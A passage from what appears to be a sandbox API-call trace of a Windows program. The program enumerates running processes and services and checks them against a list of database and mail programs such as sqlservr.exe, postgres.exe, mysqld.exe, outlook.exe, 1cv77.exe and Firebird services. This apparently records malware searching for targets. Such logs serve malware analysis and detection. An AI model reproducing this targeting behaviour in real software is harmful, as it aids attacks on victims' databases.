(lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0230.189] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0230.189] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0230.189] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.190] lstrlenW (lpString="services.exe") returned 12 [0230.190] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0230.191] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0230.191] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0230.191] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0230.191] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0230.191] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0230.191] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0230.191] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.192] lstrlenW (lpString="lsass.exe") returned 9 [0230.192] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0230.192] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0230.192] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0230.192] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0230.192] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0230.192] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0230.192] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0230.192] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0230.193] lstrlenW (lpString="lsm.exe") returned 7 [0230.193] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0230.193] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0230.193] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0230.193] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0230.194] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0230.194] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0230.194] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0230.194] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.195] lstrlenW (lpString="svchost.exe") returned 11 [0230.195] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0230.195] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0230.195] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0230.195] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0230.195] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0230.195] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0230.195] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0230.195] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.196] lstrlenW (lpString="svchost.exe") returned 11 [0230.196] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0230.196] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0230.197] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0230.197] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0230.197] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0230.197] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0230.197] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0230.197] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.198] lstrlenW (lpString="svchost.exe") returned 11 [0230.198] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0230.198] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0230.198] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0230.198] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0230.198] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0230.198] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0230.198] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0230.199] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.200] lstrlenW (lpString="svchost.exe") returned 11 [0230.200] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0230.200] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0230.200] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0230.200] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0230.200] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0230.200] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0230.200] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0230.200] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.201] lstrlenW (lpString="svchost.exe") returned 11 [0230.201] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0230.201] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0230.201] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0230.201] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0230.202] lstrlenW (lpString="audiodg.exe") returned 11 [0230.203] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.233] lstrlenW (lpString="svchost.exe") returned 11 [0230.233] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0230.235] lstrlenW (lpString="userinit.exe") returned 12 [0230.235] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.236] lstrlenW (lpString="explorer.exe") returned 12 [0230.236] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.237] lstrlenW (lpString="dwm.exe") returned 7 [0230.237] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.238] lstrlenW (lpString="svchost.exe") returned 11 [0230.238] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0230.239] lstrlenW (lpString="winhost.exe") returned 11 [0230.239] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.240] lstrlenW (lpString="spoolsv.exe") returned 11 [0230.240] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0230.241] lstrlenW (lpString="dllhost.exe") returned 11 [0230.241] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.242] lstrlenW (lpString="svchost.exe") returned 11 [0230.242] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0230.243] lstrlenW (lpString="taskhost.exe") returned 12 [0230.243] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0230.244] lstrlenW (lpString="reader_sl.exe") returned 13 [0230.244] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0230.245] CloseHandle (hObject=0x380) returned 1 [0230.245] Sleep (dwMilliseconds=0x1f4) [0230.921] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e450 [0231.039] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0231.040] GetLastError () returned 0xea [0231.041] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc9a) returned 0x432a868 [0231.041] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xc9a, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0231.045] CloseServiceHandle (hSCObject=0x62e450) returned 1 [0231.049] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0231.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.049] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0231.049] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0231.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0231.049] lstrlenW (lpString="AudioSrv") returned 8 [0231.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0231.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0231.050] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0231.050] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0231.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0231.050] lstrlenW (lpString="BFE") returned 3 [0231.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0231.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0231.050] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0231.050] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0231.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0231.050] lstrlenW (lpString="CryptSvc") returned 8 [0231.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0231.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0231.050] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0231.051] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0231.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0231.051] lstrlenW (lpString="CscService") returned 10 [0231.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0231.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0231.051] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0231.051] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0231.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0231.051] lstrlenW (lpString="DcomLaunch") returned 10 [0231.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.051] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0231.052] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0231.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0231.052] lstrlenW (lpString="Dhcp") returned 4 [0231.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0231.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0231.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0231.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0231.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0231.052] lstrlenW (lpString="Dnscache") returned 8 [0231.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0231.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0231.053] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0231.053] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0231.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0231.053] lstrlenW (lpString="DPS") returned 3 [0231.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0231.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0231.053] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0231.053] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0231.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0231.053] lstrlenW (lpString="eventlog") returned 8 [0231.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0231.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0231.053] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0231.053] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0231.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0231.054] lstrlenW (lpString="EventSystem") returned 11 [0231.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0231.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0231.054] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0231.054] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0231.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0231.054] lstrlenW (lpString="gpsvc") returned 5 [0231.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0231.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0231.054] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0231.054] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0231.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0231.055] lstrlenW (lpString="LanmanWorkstation") returned 17 [0231.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.055] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0231.055] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0231.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0231.055] lstrlenW (lpString="lmhosts") returned 7 [0231.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0231.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0231.055] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0231.055] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0231.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0231.056] lstrlenW (lpString="MMCSS") returned 5 [0231.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0231.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0231.056] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0231.056] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0231.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0231.056] lstrlenW (lpString="MpsSvc") returned 6 [0231.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0231.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0231.056] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0231.056] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0231.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0231.056] lstrlenW (lpString="NlaSvc") returned 6 [0231.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0231.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0231.057] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0231.057] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0231.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0231.057] lstrlenW (lpString="nsi") returned 3 [0231.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0231.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0231.057] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0231.057] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0231.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0231.057] lstrlenW (lpString="PcaSvc") returned 6 [0231.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0231.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0231.058] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0231.058] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0231.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0231.058] lstrlenW (lpString="PlugPlay") returned 8 [0231.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0231.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0231.058] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0231.058] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0231.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0231.058] lstrlenW (lpString="Power") returned 5 [0231.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0231.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0231.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0231.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0231.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0231.059] lstrlenW (lpString="ProfSvc") returned 7 [0231.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0231.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0231.059] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0231.060] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0231.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0231.060] lstrlenW (lpString="RpcEptMapper") returned 12 [0231.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.061] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0231.061] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0231.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0231.062] lstrlenW (lpString="RpcSs") returned 5 [0231.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0231.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0231.062] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0231.062] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0231.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0231.062] lstrlenW (lpString="SamSs") returned 5 [0231.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0231.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0231.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0231.062] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0231.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0231.062] lstrlenW (lpString="Schedule") returned 8 [0231.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0231.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0231.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0231.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0231.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0231.063] lstrlenW (lpString="SENS") returned 4 [0231.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0231.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0231.063] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0231.063] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0231.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0231.063] lstrlenW (lpString="ShellHWDetection") returned 16 [0231.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.063] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0231.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0231.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0231.064] lstrlenW (lpString="Spooler") returned 7 [0231.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0231.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 